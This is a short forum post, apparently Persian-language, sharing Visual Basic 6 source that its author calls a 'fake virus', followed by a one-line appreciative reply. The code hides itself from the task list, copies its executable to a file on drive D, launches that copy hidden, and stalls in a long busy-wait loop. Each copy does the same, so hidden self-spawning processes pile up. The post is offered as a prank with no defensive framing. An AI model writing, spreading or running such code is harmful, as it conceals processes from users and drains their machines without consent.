[Amin_Mansouri]

کد:

'Coder : Amin Mansouri
'Fake Virus (Amator Programming)
Private Declare Function GetTickCount Lib "kernel32" () As Long
Private Const Amin = "d:\Fucker.exe"
Private Sub Form_Load()
App.TaskVisible = False
AminWhile (900000000)
End Sub

Function AminWhile(Time As Long)
On Error Resume Next
Dim StartTime As Long
StartTime = GetTickCount()
Kill Amin
FileCopy (App.Path & "\" & App.EXEName & ".exe"), Amin
Shell (Amin), vbHide
While (StartTime + Time) > GetTickCount()
DoEvents
Wend
End Function

[Ghoghnus]

جالب بود !